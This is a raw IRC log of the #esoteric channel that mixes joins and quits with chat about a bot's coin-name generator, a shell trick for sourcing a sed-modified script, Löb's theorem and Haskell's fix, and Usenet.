:kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :`coins < 1394598453 697368 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :wakecoin bracoin toplincoin beacoin arcancoin pletticoin matimewhacoin tnditcoin vcoin 294coin creturnotiacoin iinbrecoin pingpersoncoin jactcoin rangcoin ciacoin nutantcoin chargfrcoin mancoin etchiliacoin < 1394598729 74131 :Slereah__!~jackal@176.222.51.233 QUIT :Remote host closed the connection < 1394598743 666327 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1394599039 806506 :variable!root@freebsd/developer/variable NICK :constant < 1394599374 356852 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1394599724 717924 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1394601057 650775 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 264 seconds < 1394603011 148694 :nortti_!nortti@nano.smar.fi NICK :nortti < 1394603130 124431 :Slereah_!~jackal@176.222.51.233 QUIT :Remote host closed the connection < 1394603273 733528 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1394604748 665294 :Slereah__!~jackal@176.222.51.233 JOIN :#esoteric < 1394604837 723259 :Slereah_!~jackal@176.222.51.233 QUIT :Ping timeout: 264 seconds < 1394604989 139495 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net QUIT :Ping timeout: 246 seconds < 1394605313 268353 :w00tles!~w00tles@87-104-164-168-dynamic-customer.profibernet.dk JOIN :#esoteric < 1394605714 767401 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1394605862 810205 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Ping timeout: 252 seconds < 1394605957 67025 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`run sed -e 's/coin/lisp/' bin/coins | . /dev/fd/0 # lisps < 1394605959 106220 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :sefelisp olutionlisp moletlisp stboxlisp rocilisp minglisp poslisp percelisp waidictiolisp pavlisp boarentrolisp ///lisp oozlylisp rocklisp teillisp tritylisp tzundrillgelisp varlisp twicleishlisp mounlisp < 1394606182 776789 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`run . <(sed -e 's/coin/lisp/' bin/coins) # maybe clearer < 1394606184 572090 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :lentlylisp frienlisp ahwlisp brechalisp mazellolisp arcolatescrimlisp allincliclisp thredlisp michlisp figulisp kvilllisp podonkencompulmlisp tinglisp stauralisp redcloodlisp franderlotypoxypholoutercuterowghlisp lictagnlisp smolisp wikindlisp throlisp < 1394606215 845807 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Hadn't really realized you can modify-and-execute like that.) < 1394606216 167794 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :". /dev/fd/0" wow < 1394606222 195360 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :wait, what's . again < 1394606231 609049 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Alias for "source". < 1394606232 252500 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :you are wrapping a mobius strip of videotape around the math/porn part of my mind < 1394606359 103274 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :followup question: waht's source < 1394606367 524452 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It's approximately "read commands from a file instead of prompting for them, and run them in this shell". < 1394606393 510440 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :oh, i see. < 1394606400 912441 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :you can also just pipe to sh, but that starts a new shell < 1394606405 438980 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :but that's usually fine? < 1394606405 770252 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :so you're sedding the coins script and then sending that script to shell. < 1394606419 634474 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`run sed -e 's/coin/lisp/' bin/coins | bash /dev/fd/0 # would also work, yes < 1394606421 500436 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :reuthlisp hellengelisp onodlisp thismlisp unconlisp puisionlisp rallisp dussitalisp monlisp spinglisp receslisp cyanlisp falserlisp :lisp curringlisp babcdlisp befolisp pinallisp connlisp abbermdrlisp < 1394606432 448652 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It's pretty much that except with one bash less. < 1394606459 805947 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :And the command line argument for bash was perhaps a bit superfluous. < 1394606513 734245 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :ah, cool trick < 1394606547 493812 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :lispcoin < 1394606576 796279 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Lispcoin is like Bitcoin except the scripts are in a Lisp dialect? < 1394606620 479731 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :proof of work is in the form of "original" parenthesis jokes < 1394606783 56261 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric ::3 < 1394606866 748969 :Slereahphone!~slereahph@193.253.170.230 JOIN :#esoteric < 1394606870 8298 :Slereah__!~jackal@176.222.51.233 QUIT :Remote host closed the connection < 1394606885 295261 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1394606913 718667 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :If, given proposition P, I can prove P, then I can prove P. < 1394607187 349751 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :if, given your proof of proposition P, i can plagiarize your proof of proposition P, then i can prove P < 1394607247 344461 :chaiomanot!~chaiomano@75-121-39-142.dyn.centurytel.net QUIT :Quit: Leaving < 1394607363 128958 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1394608426 580834 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Quit: Leaving < 1394609612 584661 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :so the CIA is hacking Congress now? http://www.motherjones.com/politics/2014/03/dianne-feinstein-cia-intelligence-committee-constitutional-crisis < 1394609615 597570 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :that seems bad < 1394610537 821819 :Slereahphone_!~slereahph@80.10.161.221 JOIN :#esoteric < 1394610594 225938 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Something something shadow state < 1394610680 741527 :Slereahphone!~slereahph@193.253.170.230 QUIT :Ping timeout: 252 seconds < 1394610681 891484 :Slereahphone_!~slereahph@80.10.161.221 NICK :Slereahphone < 1394611142 143647 :tertu!~quassel@143.44.65.14 QUIT :Ping timeout: 246 seconds < 1394611388 236062 :Slereahphone!~slereahph@80.10.161.221 QUIT :Remote host closed the connection < 1394611434 619665 :Slereahphone!~slereahph@80.10.161.221 JOIN :#esoteric < 1394611736 844124 :aergus!~aergus@88.228.117.4 QUIT :Ping timeout: 252 seconds < 1394612395 179540 :MoALTz!~no@user-46-113-90-183.play-internet.pl JOIN :#esoteric < 1394612804 354839 :Slereahphone!~slereahph@80.10.161.221 QUIT :Remote host closed the connection < 1394612825 608296 :Slereahphone!~slereahph@80.10.161.221 JOIN :#esoteric < 1394612841 746106 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394613031 256177 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1394613031 471165 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394613836 16409 :MoALTz!~no@user-46-113-90-183.play-internet.pl QUIT :Read error: Connection reset by peer < 1394613921 407478 :MoALTz!~no@user-46-113-90-183.play-internet.pl JOIN :#esoteric < 1394614146 258394 :MoALTz_!~no@user-46-113-90-183.play-internet.pl JOIN :#esoteric < 1394614178 749262 :MoALTz!~no@user-46-113-90-183.play-internet.pl QUIT :Ping timeout: 252 seconds < 1394614245 126369 :FreeFull!~freefull@defocus/sausage-lover QUIT : < 1394614332 6557 :MoALTz_!~no@user-46-113-90-183.play-internet.pl QUIT :Client Quit < 1394614343 188523 :MoALTz!~no@user-46-113-90-183.play-internet.pl JOIN :#esoteric < 1394614607 740359 :oklopol!~oklopol@dyn60-339.yok.fi QUIT :Ping timeout: 252 seconds < 1394614644 776021 :oklopol!~oklopol@dyn60-339.yok.fi JOIN :#esoteric < 1394615849 91068 :mr45!~mr45@cpc27-hudd10-2-0-cust59.4-1.cable.virginm.net JOIN :#esoteric < 1394616150 764695 :Slereah__!~jackal@176.222.51.233 JOIN :#esoteric < 1394616249 243619 :Slereah_!~jackal@176.222.51.233 QUIT :Ping timeout: 245 seconds < 1394616475 871647 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1394616554 747299 :Slereah__!~jackal@176.222.51.233 QUIT :Ping timeout: 252 seconds < 1394616871 735094 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :what's your favourite sport, fungot? < 1394616873 74712 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :b_jonas: mr president, the asylum system caused by abuses of the various production sectors, cost savings and the structural and cohesion policies? the fourans report is very important. the underlying implication which is, after all, we should indicate to our partner that we do not establish a collaborative network to monitor racism and xenophobia by adopting a paragraph which, under provocation certainly, immediately takes up < 1394616882 241171 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :hmm, he's still talking politics < 1394617244 255887 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :fungot: Stop talking politics, it's time to relax. < 1394617244 350473 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :fizzie: mr president, the rapporteurs from different committees, the interparliamentary delegations and the delegations of the recipient countries. countries that do not enable them to be more enthusiastic. and you cannot convince me that this is one of the longest traditions in my country's internal affairs, mr bouwman, who is also a senior belgian judge, has just called on the committee that he too was concerned about human r < 1394617385 147501 :Slereahphone_!~slereahph@80.10.161.163 JOIN :#esoteric < 1394617437 624942 :Slereahphone!~slereahph@80.10.161.221 QUIT :Ping timeout: 264 seconds < 1394617438 160430 :Slereahphone_!~slereahph@80.10.161.163 NICK :Slereahphone < 1394617500 903145 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :^style nethack < 1394617501 10289 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Selected style: nethack (NetHack 3.4.3 data.base, rumors.tru, rumors.fal) < 1394617511 173634 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I think fungot's more relaxed in this style < 1394617511 281555 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :ais523: polymorph into an unknown material. it is bad manners to use the word that the wizard jumped back, squeezing and contorting with great distrust, as he approached the base, the armed instincts of nails and jaws which have for source and aim the belly, glare and smell out work for the weak of heart, and heard the oracle of delphi ( q.v.) < 1394618008 71975 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :The Oracle of Delphi (fungot remix) < 1394618008 221279 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Jafet: demi-gods don't need a mirror. in a fountain will not rust. < 1394618037 624554 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I'm guessing those are from .fal. < 1394618255 51447 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :The latter part is [spoiler warning] a combination of two true rumours: "They say that dropping coins into a fountain will not grant you a wish." and "A crystal plate mail will not rust." < 1394618295 73642 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Whoops, I somehow misread the into/in part. < 1394618312 566208 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :There's actually both a true and a false rumour that both contain "in a fountain", so I don't know which one was used. < 1394618342 520366 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1394618434 370665 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :fungot: Why don't you compose a #esoteric theme song or something? < 1394618434 482562 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :fizzie: they say that going to eat when it gets hungry? there is no law firm. picturesque meant he decided after careful observation of the same thing. then, who has met a gluttonous, nude, angry ogre, will not grant you a gentleman? < 1394618639 853969 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :"we're going to eat when it gets hungry" sounds pretty song-like < 1394618656 511690 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :"there is no law firm" works too, but I think it's from a different song < 1394618747 181426 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I don't remember law firms being mentioned in the encyclopedia... < 1394619139 52235 :aergus!~aergus@88.228.117.4 JOIN :#esoteric < 1394619172 653611 :Slereahphone!~slereahph@80.10.161.163 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1394619358 755362 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1394619398 582068 :Slereah__!~jackal@176.222.51.233 JOIN :#esoteric < 1394619474 216515 :Slereah_!~jackal@176.222.51.233 QUIT :Ping timeout: 245 seconds < 1394619519 717237 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :@massages-loud < 1394619519 823307 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :oerjan said 23h 10m 46s ago: technically usenet hasn't passed, ais523 somehow manages to still be there, for one < 1394619544 831993 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :most of usenet has died, I hang out in a couple of newsgroups that haven't (also a couple that have) < 1394619566 806325 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :even the spambots have given up on alt.lang.intercal < 1394619573 248663 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :but I still read it almost every day < 1394619574 457647 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :there are stil newgroups that haven't transmuted to spam? < 1394619579 581653 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :s/l\b/ll/ < 1394619579 829346 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :(it doesn't take long to read an empty newsgroup) < 1394619608 902376 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :actually Usenet has some of its lowest spam levels ever < 1394619609 114481 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ah. the barren emptiness of them made the spambots go away in their search of more fertile land. < 1394619648 454699 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :lesson of the day: Usenet is weird and wonderful. < 1394619691 972819 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :comp.lang.c has managed to stay relevant for years < 1394619717 196327 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :I never got into newsgroups. I stick to IRC and mailing lists. < 1394619728 33058 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :Not many mailing lists though. < 1394619827 250491 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :I know I have subscribed to mailing lists, as I see them pop in my inbox. some day I'll read one of them. < 1394619988 280043 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1394620101 596758 :Slereah__!~jackal@176.222.51.233 QUIT :Ping timeout: 264 seconds < 1394620230 91646 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :I usually just read a mailing list for a few days after I write something to it, then ignore it. < 1394620234 349697 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :sometimes I even unsubscribe. < 1394620354 213719 :itsy!~digital_w@37.152.198.84 JOIN :#esoteric < 1394620460 800358 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1394620510 707917 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :dun dun dun! < 1394620667 649875 :Slereah_!~jackal@176.222.51.233 QUIT :Read error: Connection reset by peer < 1394620684 783235 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1394620843 161854 :Slereah__!~jackal@176.222.51.233 JOIN :#esoteric < 1394620943 728009 :Slereah_!~jackal@176.222.51.233 QUIT :Ping timeout: 252 seconds < 1394621117 133549 :aergus!~aergus@88.228.117.4 QUIT :Ping timeout: 246 seconds < 1394622180 152610 :Slereahphone!~slereahph@80.10.161.163 JOIN :#esoteric < 1394622192 382922 :boily!~boily@96.127.201.149 QUIT :Quit: CUBICAL CHICKEN < 1394623252 190441 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1394624039 271948 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : If, given proposition P, I can prove P, then I can prove P. <-- you need more precise thinking than that if you're going to tackle Löb's theorem, pal. < 1394624142 369705 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :there isn't a backwards Weakening rule < 1394624149 823239 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :you can't just get rid of premises whenever you feel like it < 1394624179 850008 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :(and "given P you can prove P" is just Identity) < 1394624205 237979 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i'm not sure Sgeo is currently awake. < 1394624484 735546 :aergus!~aergus@88.228.117.4 JOIN :#esoteric < 1394624789 71206 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric ::t fix < 1394624789 865560 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :(a -> a) -> a < 1394624803 645355 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric ::t get fix < 1394624804 526221 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :MonadState s ((->) ((a -> a) -> a)) => s < 1394624875 572800 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric ::t gets fix < 1394624876 508044 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :MonadState (a -> a) m => m a < 1394624949 508592 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Sgeo: half the point of löb's theorem is that "P" is _not_ the same proposition as "P is provable". < 1394624973 656661 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Oh < 1394625029 47176 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :So the a's in fix just represent ... hmm < 1394625035 696823 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :fix is still illogical? < 1394625086 279573 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :How would it be stated? < 1394625091 24168 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric ::t fix id < 1394625091 826341 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :a < 1394625097 43201 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Sgeo: that should give you a clue as to what's wrong < 1394625176 787000 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :yes, fix is a curry-howard "proof" that haskell's type system is inconsistent. < 1394625244 968802 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I think the point is that the type system isn't meant to enforce totality < 1394625253 584847 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :so in addition to useful proofs, you get the occasional infinite loop < 1394625261 291556 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :yep < 1394625269 994437 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :"useful" proofs < 1394625293 685334 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :@quote kmc Curry-Howard < 1394625293 899891 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :kmc says: "Haskell is great, because Curry-Howard! Proving things in the type system. We can prove that, uh, Ints exist, unless they're ⊥." < 1394625317 183677 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Jafet: haskell programs which _don't_ use general recursion presumably stay within the consistent part. < 1394625330 44244 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I assume Agda doesn't have fix? < 1394625333 649272 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric ::t undefined < 1394625334 440568 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :a < 1394625348 893559 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :a nicely inconsistent constant right there :-) < 1394625350 675877 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(there have of course been occasional bugs in extensions to the type system) < 1394625418 856524 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :hmm, Haskell needs a "defined" too, which returns an arbitrary value and can take any inhabited type < 1394625432 66473 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I'm going to use it to solve the halting probem < 1394625433 548274 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :*problem < 1394625463 432709 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Isabelle/HOL has such a term, but it's named "undefined" < 1394625499 7347 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :the GeneralizedNewtypeDeriving [sp?] extension just last year had its bugginess fixed after several years of being inconsistent. < 1394625730 419897 :Slereahphone!~slereahph@80.10.161.163 QUIT :Remote host closed the connection < 1394625747 856445 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :Read error: Connection reset by peer < 1394625750 578582 :Slereahphone!~slereahph@80.10.161.163 JOIN :#esoteric < 1394625817 521199 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh i tried "newtype Fnord a = Fnord a deriving Monad" to get ghci to tell me what the extension name was, but that didn't work because it didn't have the precise right form < 1394625840 372070 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(newtype Fnord a = Fnord (Maybe a) deriving Monad worked) < 1394625868 528489 :AnotherTest!~turingcom@94-224-29-17.access.telenet.be JOIN :#esoteric < 1394625909 832719 :Slereahphone!~slereahph@80.10.161.163 QUIT :Remote host closed the connection < 1394625924 861077 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Try adding instance Monad a < 1394625931 520343 :Slereahphone!~slereahph@80.10.161.163 JOIN :#esoteric < 1394625954 452379 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i _suspect_ that may be overlapping. < 1394626011 338334 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Unfortunately, you cannot refuse to import other instances < 1394626122 91501 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :after enabling enough extensions to make it _try_, it gives ":43:36: Can't make a derived instance of `Monad Fnord' (even with cunning newtype deriving): cannot eta-reduce the representation type enough In the newtype declaration for `Fnord' " < 1394626175 922680 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i suppose they may not have been trying very hard to make that case work. < 1394626214 780829 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I wonder if RebindableSyntax will make ghc try to derive an instance for some other class named Monad < 1394626242 725777 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :They probably wouldn't have tried to make that work, either. < 1394626314 569163 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Jafet: um GeneralizedNewtypeDeriving doesn't know anything specific about Monad, i think, so just hiding the Prelude identifier should be enough... < 1394626415 172780 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :it's just a generic way of "inserting" newtype conversions for whatever class you want. < 1394626513 134140 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :with some newly added restrictions that the newtype can only appear in "parametric" roles, or thereabouts. < 1394626537 982066 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(actually i'm not sure if that's in the latest haskell platform yet) < 1394627147 792336 :aergus!~aergus@88.228.117.4 QUIT :Ping timeout: 252 seconds < 1394627486 820089 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1394627863 625169 :Slereahphone!~slereahph@80.10.161.163 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1394628017 54502 :Slereahphone!~slereahph@80.10.161.163 JOIN :#esoteric < 1394629035 921149 :Slereahphone!~slereahph@80.10.161.163 QUIT :Remote host closed the connection < 1394629053 710718 :Slereahphone!~slereahph@80.10.161.163 JOIN :#esoteric < 1394629853 867221 :Slereahphone!~slereahph@80.10.161.163 QUIT :Ping timeout: 252 seconds < 1394630064 983092 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu QUIT :Ping timeout: 252 seconds < 1394630183 847982 :Slereahphone!~slereahph@80.10.161.234 JOIN :#esoteric < 1394630554 513909 :aergus!~aergus@88.228.117.4 JOIN :#esoteric < 1394630585 101032 :spiette!~spiette@2607:fad8:4:6:a288:b4ff:fe60:a3b0 JOIN :#esoteric < 1394630763 829376 :Slereahphone!~slereahph@80.10.161.234 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1394630890 141603 :Slereahphone!~slereahph@80.10.161.234 JOIN :#esoteric < 1394631344 191755 :aergus!~aergus@88.228.117.4 QUIT :Ping timeout: 246 seconds < 1394632361 792900 :Sprocklem!~Sprocklem@unaffiliated/sprocklem QUIT :Ping timeout: 252 seconds < 1394632842 761133 :Slereahphone!~slereahph@80.10.161.234 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1394633333 350933 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1394633539 364230 :FreeFull!~freefull@defocus/sausage-lover JOIN :#esoteric < 1394634364 629113 :Sprocklem!~Sprocklem@unaffiliated/sprocklem JOIN :#esoteric < 1394634441 322426 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394634588 138450 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :ACTION has spent half a day proving that a function is continuous < 1394634625 235639 :Slereah__!~jackal@176.222.51.233 QUIT :Read error: Connection reset by peer < 1394634631 346782 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1394634631 555910 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394634641 134389 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1394635438 228266 :Slereahphone!~slereahph@80.10.161.234 JOIN :#esoteric < 1394636260 521731 :MoALTz_!~no@user-46-113-90-183.play-internet.pl JOIN :#esoteric < 1394636332 460364 :Slereahphone!~slereahph@80.10.161.234 QUIT :Remote host closed the connection < 1394636396 332130 :Slereahphone!~slereahph@80.10.161.234 JOIN :#esoteric < 1394636447 90065 :MoALTz!~no@user-46-113-90-183.play-internet.pl QUIT :Ping timeout: 246 seconds < 1394636561 601565 :Slereah_!~jackal@176.222.51.233 QUIT :Remote host closed the connection < 1394636569 389878 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1394636796 106480 :Slereah__!~jackal@176.222.51.233 JOIN :#esoteric < 1394636971 434571 :Slereah_!~jackal@176.222.51.233 QUIT :Ping timeout: 264 seconds < 1394637496 501632 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oklopol: as long as it wasn't a whole day to prove it semi-continuous < 1394638125 100343 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1394638275 759271 :aergus!~aergus@88.228.117.4 JOIN :#esoteric < 1394638551 764594 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1394638715 113224 :Slereah__!~jackal@176.222.51.233 QUIT :Ping timeout: 246 seconds < 1394639390 855726 :Slereah_!~jackal@176.222.51.233 QUIT :Ping timeout: 252 seconds < 1394639409 356828 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1394639523 417034 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1394640248 63272 :Sprocklem!~Sprocklem@unaffiliated/sprocklem QUIT :Ping timeout: 246 seconds < 1394640591 214850 :ais523!~ais523@unaffiliated/ais523 QUIT : < 1394640636 542161 :Sprocklem!~Sprocklem@unaffiliated/sprocklem JOIN :#esoteric < 1394640751 395848 :Slereah_!~jackal@176.222.51.233 QUIT :Ping timeout: 264 seconds < 1394641939 434281 :Sprocklem!~Sprocklem@unaffiliated/sprocklem QUIT :Ping timeout: 264 seconds < 1394642084 990357 :constant!root@freebsd/developer/variable NICK :function < 1394642709 303347 :myndzi!myndzi@2600:3c00::f03c:91ff:fedf:3d4e QUIT :Quit: . < 1394642822 138514 :myndzi!myndzi@2600:3c00::f03c:91ff:fedf:3d4e JOIN :#esoteric < 1394642921 721053 :aergus!~aergus@88.228.117.4 QUIT :Ping timeout: 252 seconds < 1394643188 283599 :nooodl!~nooodl@91.177.69.110 JOIN :#esoteric < 1394643358 396348 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu JOIN :#esoteric < 1394643395 761424 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1394645420 413409 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :`coins --finnish < 1394645421 354959 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :käskellyttäväcoin < 1394645582 98288 :itsy!~digital_w@37.152.198.84 QUIT :Ping timeout: 246 seconds < 1394646822 73496 